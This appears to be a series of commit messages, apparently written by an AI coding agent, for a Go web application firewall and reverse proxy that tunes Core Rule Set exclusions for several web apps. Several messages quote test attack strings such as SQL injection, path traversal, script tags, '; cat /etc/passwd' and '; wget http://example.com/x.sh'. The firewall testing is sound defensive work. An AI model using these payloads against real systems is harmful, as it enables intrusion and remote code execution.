Request lines were encoded with `json.Marshal`, which writes `&`, `<`
and `>` as `\u0026`, `\u003c` and `\u003e`. A query string or referer
then did not read as the visitor sent it, and `grep` for it found
nothing. Request lines now hold the three characters as sent, and stay
valid JSON: they are written by a `json.Encoder` with HTML escaping off.
Model: opus-5-5
Tests only, in `internal/sww/sww_test.go`. A start compiles the Core Rule Set, so on a loaded host it can take longer than `waitLimit` (10 s) to write `starting`. The new `output.lineBeforeExit` waits until the line is written or sww exits, bounded only by the test binary's `-timeout`. It replaces the waits that span a start, in `runUntilStopped`, `TestServesUntilToldToStop` and `TestLogLevelHoldsBackTheLessSevereProcessLines`. The other waits on `waitLimit` in the file come after the start or after sww has exited.
Model: opus-5-5
Test only. The over-1 MiB cases of `TestAnAnswerThatCannotBePassedOnIsAnswered502`, and `TestAnAnswerThatCannotBePassedOnGetsNoReport`, which sends the same answer, left `SWRP_TIMEOUT_MS` at 2 s. On a loaded host `rproxy` applied `SWRP_DEFAULT_DISPOSITION` before it had read the whole answer, and the tests, which want `502`, failed. They now set `SWRP_TIMEOUT_MS` to `60000`, as the file's other tests do where that limit is not what they test.
Model: opus-5-5
Every time the program stores, logs or compares is in UTC, whatever TZ says, and AbuseIPDB's day in `reputation.json` is a `YYYY-MM-DD` date. Times read from a state file are converted to UTC as they are read, so a file is written back with `Z` times only. A test runs `sww waf` with `TZ=Pacific/Kiritimati` and checks the process line, the request line and `clients.json`. `SPEC.md` states the rule and `AGENTS.md` makes it an iron rule.
- The rate limit's `day` and `day_bytes` buckets keep a start time: each is a 24-hour bucket begun at an instant, not a calendar day.
- New dependency `cloud.google.com/go`, of which only `civil` is built.
- No migration: a `reputation.json` holding the old day form fails to load, naming the file.
Model: opus-5-5
The command is now `sww waf`, and the package is `internal/waf`. Types,
functions, files, tests, comments, docs, the Dockerfile, the runit
script, `script/`, compose examples, the log field `waf_line` and the
`X-From-Waf` test header follow. No behaviour changes, and no setting
changes name: rproxy already finds the waf through `SWRP_WAF_BACKEND`.
Done with one `sed -i` (Discriminator and DISCRIMINATOR to WAF,
discriminator to waf) over the files `git grep -i discriminator`
listed, as sneak allowed for this rename, then `git mv` for the
package and files. By hand afterwards: the header's spelling, which
the linter requires, and the padding after `waf` in `sww`'s usage
text.
Model: opus-5-5
The two tests that send sixteen thousand cookies checked the answer time
on the wall clock, which a busy host can push past the bound. They no
longer check how long the answer took. The first is renamed to say what
it checks: a 431 before the Core Rule Set reads the request.
TestARefusedRequestDoesNotWaitForASlowGeoJS still checks that a refusal
over the header limits waits on nothing.
Model: opus-5-5
A wiki in another language posts its sign-up, password change and
new-password forms to its own names for the special pages, such as
Spezial:Benutzerkonto_anlegen. So password and retype no longer match on
the English page name. They skip the rules when authAction names the
form that sends them: change, create or login-continue. MediaWiki sends
the same value in every language. The page must still be MediaWiki's,
with a namespace in its title, so another app's paths under /index.php/
keep every rule. The two rules move to phase 2 to read the body.
Adds requests recorded from a German MediaWiki 1.46.2.
Model: opus-5-5
An answer rproxy gives itself, such as a deny or a refusal, waited while
Go's server read up to 256 KiB of a body that had not arrived whole. A
visitor that stopped sending got nothing until SWRP_MAX_REQUEST_TIME_MS
ran out, and no bytes at all once that was past the 10 seconds the
answer has to be sent.
send now sets Connection: close in that case, as modifyResponse does for
the app's answer; both call closeAfterAnswer. requestTimedOut no longer
ends that read of Go's server, which no longer happens, so the time the
app's answer started is no longer noted.
Model: opus-5-5
When the app answered before the visitor's body had arrived whole, Go's
server read up to 256 KiB of the rest before it sent the answer. A
visitor that stopped sending got nothing until SWRP_MAX_REQUEST_TIME_MS
ran out, and no bytes at all once that was past the 10 seconds the
status has to be sent.
Such an answer now carries Connection: close, which Go sends at once.
finish first ends the transport's read of the body: once the handler
returns, Go's server reads the rest with no deadline while another read
of it waits. requestBody.Close does nothing, so that ReverseProxy's
close does not wait on the visitor.
Model: opus-5-5
/wp-admin/network/profile.php posts pass1 and pass2 to itself. The
exclusion that lets them skip the random-password rules on WordPress's
other profile pages now names it too.
Model: opus-5-5
A visitor could get a closed connection and no answer when
SWRP_MAX_RESPONSE_TIME_MS ran out about when the answer started: the
write deadline passed before the first byte was written.
- An answer rproxy gives itself has at least 10 seconds to be sent.
- An app's answer that arrives once the time has run out is answered
504.
- Otherwise the app's status and headers are sent at once, before the
body is read, with at least 10 seconds. The exact limit applies to
the rest.
Model: opus-5-5
Each app's sign-in, sign-up, password change and reset fields that had no
exclusion now skip the 35 rules random passwords set off, on that app's
paths and only when the query has no field of that name. Added gitea,
Vaultwarden's admin token, WordPress pass1/pass2/post_password and its REST
password, Drupal's forms and JSON, MediaWiki retype and password on the
pages that take them, Mastodon's challenge, and Nextcloud's confirm, reset,
change, share, LDAP renewal, encryption and OCS fields. Vaultwarden's
clients send a hash, which needs no exclusion.
Model: opus-5-5
A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password now pass;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
Model: opus-5-5
TestOrdinaryWordPressRequestsPass skipped the inspection that reads
bodies for a request with no body, including one with a Content-Type.
It now calls wantRecordedRequestsPass.
Model: opus-5-5
The tests that check the apps' recorded requests move to
internal/coreruleset/recorded_test.go, behind the recorded build tag. The
test phase runs only those tests in a second go test, without -race. The
lint phase reads the same file, with the same tag.
The Gitea and WordPress tests are split in two. Their recorded-request loops
become TestOrdinaryGiteaRequestsPass and TestOrdinaryWordPressRequestsPass;
their attack checks stay in the race pass as TestGiteaAttacksAreRefused and
TestWordPressAttacksAreRefused.
Model: opus-5-5
rproxy passes MKCALENDAR on. nextcloud.conf allows it on
/remote.php/dav/calendars/ and PROPFIND on /.well-known/caldav and
carddav. The XML of an MKCOL there skips 930120, 932120, 932250 and
932260. That of an MKCALENDAR, and of an MKCOL on the address books'
paths, also skips 932125 and 932230, for the description. A PUT of
text/calendar or text/vcard there skips 920530: the Calendar and
Contacts apps name the charset twice when they change an event or a
contact.
Recorded from Nextcloud 35.0.2 with Calendar 6.6.5, Contacts 8.9.5 and
requests imitating DAVx5.
Model: opus-5-5
Adds nextcloud.conf, the fourteenth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK, and
the body of a PUT there, an uploaded file, is not read. The cookie
nc_username, and the fields that carry a search, a name, a file name or a
folder, skip the four rules that read them as commands or system files.
Comments, a share's note, a status and a document's text also skip the rules
that refused ordinary sentences, and the document the two that refused a
shell code block. Requests recorded from Nextcloud 35.0.2, its web pages, sync
client 3.16.7 and the OCS API pass at the defaults and while bodies are read.
Model: opus-5-5
wantRecordedRequestsPass inspects a recorded request with neither a body
nor a Content-Type header only at the defaults, as the WordPress test does
for a request with no body. With neither, the set that reads bodies has
nothing more to check: what it adds picks how to read a body from the
Content-Type, then reads the body. Every other request is still inspected
both ways. This cuts the package's CPU time under -race by about a fifth.
Model: opus-5-5
rproxy now passes PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT,
SEARCH, LOCK and UNLOCK to discriminator instead of answering 405, so
Nextcloud's Files app and sync client work. The Core Rule Set's 911100
still refuses them wherever no app's exclusions allow them.
Model: opus-5-5
Adds vaultwarden.conf, the thirteenth change, with rule ids 900150 to
900153. On Vaultwarden's account, organization and admin paths, names and
password hints skip 930120, 932120, 932250 and 932260, and so does a
security key's name. Email addresses skip 930120, 932120 and 932260
there, on the two-factor email paths and when signing in with another
device. So does the address of the admin page's test email. The data
breach report's address does too. The encrypted names of uploaded
attachments and file sends skip 920120. Requests recorded from
Vaultwarden 1.37.5 through the web vault, the Bitwarden command line
client and the admin page pass at the defaults and while bodies are read.
Model: opus-5-5
user[email] on /auth and the paths under it skips 930120, 932120 and
932260. They refused signing up, signing in and resetting a password
with addresses such as python3@example.com, powershell@example.com and
jane.profile@example.com. The field keeps 932250 and every other rule.
Recorded from Mastodon 4.7.5: sign-up, sign-in, password reset and an
email change.
Model: opus-5-5
Adds mastodon.conf, the twelfth change. On Mastodon's paths, the fields
that carry a search, a name, a title, an address, a password or free text
skip the four rules that read them as commands or system files. They cover
the API and the web app's JSON, the admin and settings pages, sign-up and
sign-in, and the objects other servers deliver to an inbox. A post's text
skips 932125, 932230 and 932235 too. Hashtags and sign-up usernames skip
only 932120 and 932260. Uploaded file names skip 932180, a report's
forward keys skip 930120 by name, and the Accept header of a link lookup
skips 920600 on profile and post links. The requests recorded from
Mastodon 4.7.5 pass at the defaults and while bodies are read.
Model: opus-5-5
Rule 900601 let Referer skip five rules when it named a repository's
search, issues or pull requests with the owner api, such as
/api/v2/search, Mastodon's search. A page opened from there skipped
script and SQL injection checks on Referer. gitea has no owner named
api, so a chained condition now leaves out those paths, as rule 900600
does.
Model: opus-5-5
Rule 900600 took paths of an owner named api for gitea's search, issues,
pull requests and commit search inside a repository. /api/v2/search,
Mastodon's search, /api/v2/issues and /api/v2/pulls were among them, so
attacks in q scored 0 there. gitea has no owner named api, so a chained
condition now leaves out each of those paths under /api/<x>/. Go's regular
expressions have no lookahead, so the exclusion cannot be written inside
the pattern.
Model: opus-5-5
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.
On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.
Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.
Model: opus-5-5
POST /user/password?_format=json with a mail of python3@example.com or
powershell@example.com was refused while bodies are read. On that path,
the JSON field mail now skips 932120 and 932260, the two rules the
recorded addresses set off, unless the query has a json.mail parameter.
Recorded from Drupal 11.4.11.
Model: opus-5-5
The Drupal and MediaWiki tests repeated the SQL and script attack strings,
which goconst reports. They now use the existing constant injection and a
new constant scriptTag.
Model: opus-5-5
Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields
that carry a search, a title, a name, a file name or an address skip the
four rules that read them as commands or system files, and the wikitext
fields skip the rules that refused saving a page. The reasons on the admin
pages skip only 930120 and 932120. /index.php counts as MediaWiki's only
with a page title in its query or after its path, since WordPress serves it
too. The requests recorded from MediaWiki 1.46.2, with and without short
URLs and on the admin pages, pass at the defaults and while bodies are
read. The app tests share the check of recorded requests and the list of
hard values.
Model: opus-5-5
POST /user/password?_format=json with a name of python3, powershell,
ls -la or .htaccess was refused while bodies are read. On that path,
the JSON field name now skips 930120, 932120, 932250 and 932260, the
four rules those recorded names set off, unless the query has a
json.name parameter. Recorded from Drupal 11.4.11.
Model: opus-5-5
Four tests closed a test server or stopped discriminator, and then
connected to its port. Another test process could take that port in
between and receive the connection.
- TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy and
TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient, formerly
TestRefusedConnection..., point routewatch at 224.0.0.1, a multicast
address to which TCP cannot connect.
- TestStalledRemoteLogEndpointHoldsUpNoRequest keeps its endpoint open
and closes each connection it takes, instead of closing the endpoint.
- TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain gives
rproxy an address the test holds throughout. The test forwards each
connection there to the running discriminator, and closes it while
discriminator is stopped.
No change to non-test code.
Model: opus-5-5
Tests now share one Core Rule Set for each set of settings, loaded once
through sync.OnceValues in shared(). Exclusions-file tests and
TestCorazaWritesNoFile still load their own: loading is what they check.
Loading was not most of the time: the WordPress and Drupal recorded
requests, inspected one after another, were. Each recorded request now
runs as its own parallel subtest, with the same request and outcome.
Model: opus-5-5
Names, searches and the page to return to on more Drupal paths skip
the rules that misfire on them: 930120, 932120, 932250 and 932260,
plus 932230 and 932235 on destination only. An email address skips
930120, 932120 and 932260; the oEmbed url only 930120 and 932120.
Every Drupal path may carry a language prefix: a first segment of two
or three lowercase letters, such as /fr. Requests recorded from Drupal
11.4.11 with plain words, python3, powershell, ls -la and .htaccess are
added to the test data; tests show attacks and "; wget ..." still
refused on each new field.
Model: opus-5-5
A Drupal and a WordPress request are inspected at once, many times
over, on one Core Rule Set. Coraza v3.8.1 shares each rule's
exclusions between requests, so the test fails under -race.
Model: opus-5-5
Each field skips only the rules its recorded requests set off:
- page on all of wp-admin, and the JSON fields title, excerpt and name
on /wp/v2/ routes: 930120, 932120, 932250 and 932260;
- p, postId and slug on all of wp-admin, and the JSON slug on /wp/v2/
routes: 932120 and 932260, since WordPress writes these as slugs;
- url on the block editor's link previews and embeds, and a commenter's
url: 930120 and 932120.
Every field keeps 932235. Add 61 requests recorded from WordPress 7.1.4
with these fields.
Model: opus-5-5
Adds drupal.conf, the tenth change: on Drupal's paths, the fields that
carry a search, a name, a file name or an address skip the rules that
refused ordinary requests there. The recorded requests from Drupal 11.4
pass at the defaults and while bodies are read; SQL injection, path
traversal and script injection stay refused on those fields. Drupal's
tests share the reader of recorded requests and the attack constants
with the other apps' tests.
Model: opus-5-5
Add the ninth change: wordpress.conf switches off, per path and field, each
rule that refused ordinary WordPress 7.1.4 requests. Three groups of fields
skip four rules on system files and commands, and only the addresses of the
first group also skip 932235. Add the recorded requests, a test at the
defaults and reading bodies, and list WordPress in the README.
Model: opus-5-5 (rework); sonnet-5-5 (copied the recorded lines)
The first half of the naming audit: names now say what they are. `internal/waf` is `internal/coreruleset`. Log fields, the action `blocked_by_core_rule_set`, the metric and the alert event say Core Rule Set. Timings end `_ms`. Percentages say of what, as `rate_limit_percent` and `bytes_limit_percent`. Setting names follow in #234.
Judgement call: `blocked_by_core_rule_set`, not the audit's `core_rule_set_blocked`, to match `blocked_by_block_rule`.
Trips a reader: an existing state file holding `waf_blocked` or the anomaly scope `watch` stops the start and must be removed. `SWW_ALERT_EVENTS` listing `waf_block` must list `core_rule_set_match`.
Model: opus-5-5
The request log's `action` values now say what they mean, as sneak named them: `request_header_too_large`, `client_is_rate_limited`, `blocked_by_block_rule` and `client_denied`, with no aliases. `banned` splits into `temporarily_banned` and `permanently_banned`, by whether the ban runs out. When a permanent ban also covers a client, that ban is the one reported.
Trips a reader: a request over a rate limit stays `client_is_rate_limited` even when the ban it makes is permanent.
Disclosure: the offence key `rule_blocked` is renamed in `clients.json` too, so an existing file holding it stops the start and must be removed. Its `version` stays 1.
Model: opus-5-5
With `SWW_ROUTEWATCH_URL` set, a new heuristic, `routewatch_tags`, adds `asn=<number>` and `prefix=<netblock>` to a request from what a routewatch instance answers about the client. New package `internal/routewatch` asks in the background, never on a request's path, and keeps answers 1 hour in memory. The request log gains `routewatch_tags_missing`, saying why a request has none. `prefix=` works in `SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT`.
Trips a reader: a client's first request has no routewatch tags, so `prefix=` refuses from its next request after the answer comes.
Judgement call: with `SWW_LOOKUP_SOURCE=off` and `SWW_ROUTEWATCH_URL` set, an `asn=` tag no longer stops the start.
Model: opus-5-5
Each request gets tags, logged as `tags`: `asn=`, `country=`, one per `SWW_TAG_LISTS` list holding the client, `crowdsec`, `dnsbl=<zone>`, `abuseipdb` and `exploitsignature`. `SWW_TAG_DENY` refuses by tag and `SWW_TAG_LIMIT_PERCENT` lowers limits by tag. They replace `SWW_ASN_LIMIT_PERCENT`, `SWW_COUNTRY_LIMIT_PERCENT` and `SWW_DENIED_COUNTRIES`, with no aliases. A tag in those settings that nothing configured can give stops the start.
Judgement call: `SWW_ASN_LIMIT_PERCENT_URL` stays, its entries counting like `asn=` tags.
Judgement call: `SWW_TAG_LIMIT_PERCENT` also lowers byte limits, as the settings it replaces did.
Trips a reader: `sww_country_list_refusals_total` now counts only `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` refusals.
Model: opus-5-5
`script/publish` runs `script/docker` against the Docker host and pushes the image to the registry under four tags: the UTC date, the short commit hash, the branch name and `latest`. It refuses a working tree with uncommitted changes, since the hash tag names a commit.
Also carries sneak's `golines -m 77` line wrapping in three files, with no code change.
Unverified: a real build on the Docker host and a real push from this commit.
Deviation: sneak's FIXME comments are out, because the linter refuses them; they are #227, #228 and #229.
Model: opus-5-5
Co-authored-by: sneak <sneak@sneak.berlin>
Each discriminator check is now a type in its own file behind one small interface, listed in `heuristics.go`. Adding a heuristic is one file and one line. Behaviour does not change.
Refusal and ban log lines gain `heuristic` and `heuristic_figures`. A ban after the answer, by `refusal_limit` or `byte_limits`, logs `after_answer_heuristic` and its figures, so one line can name both.
Deviation: four lists, not the planned three, so `refusal_limit` still bans at the decision.
Rule suppressed: `//nolint:lll` on one struct tag.
Model: opus-5-5
New defaults, as sneak approved: 120 requests a minute, 1,500 an hour and 6,000 a day; bytes off a minute, 50G an hour and 100G a day. The README, `SPEC.md`, `docs/settings.md` and `docs/gitea.md` give the new figures and reasoning, and point Actions runners and shared addresses at `SWWAF_RATE_LIMIT_EXEMPT_NETS`. The README examples now hold against the new defaults.
An Actions runner that is not exempted makes more requests an hour than the new limit and will be banned.
Model: opus-5-5
The package passes nothing on since the one-process mode went: it answers rproxy's questions, takes its reports and answers servewaf's own endpoints. It is now named after the command it serves, with `git mv`, and its constructor is `servewaf.New`. `SPEC.md` and the other documents follow. No change of behaviour.
Model: opus-5-5
`smallwebwaf` with no command now prints the commands and exits with status 2.
The image runs rproxy, or servewaf with SMALLWEBWAF_COMMAND=servewaf. The
passing-on code, its settings and its log fields and metric go. internal/proxy
keeps the checks, answers, reports and own endpoints; its tests run through the
real rproxy. The documents describe the pair.
Judgement call: clients.json keeps token_refused, since state files refuse unknown fields.
Deviation: script/gitea-requests sets SWWAF_LOG_REQUEST_HEADERS, to label requests.
Partially verified: make example-app and make gitea-requests never built the image, as Ubuntu's snapshot service answered 5xx.
Model: opus-5-5
`smallwebwaf rproxy` reads the first 64 KiB of each body, asks servewaf over
HTTP/1.1, and passes what servewaf allows to the app within its limits. Any
other answer goes to the visitor as servewaf gave it. SWRP_DEFAULT_DISPOSITION
decides only when servewaf cannot be connected to, does not answer at all, or
does not answer within SWRP_TIMEOUT_MS. A method SPEC.md does not list gets 405.
Duplication: internal/rproxy copies passing-on code from internal/proxy until
#172 removes the originals.
Rule suppressed: gosec G704 and G705; gosec at
internal/smallwebwaf/rproxy_test.go:431; tagliatelle at
internal/requestlog/requestlog.go:203; paralleltest on one test.
Judgement call: an answer over 1 MiB, or with a status below 200, gets 502.
Judgement call: every target not starting with one / gets 400.
Model: opus-5-5
sneak
clawbot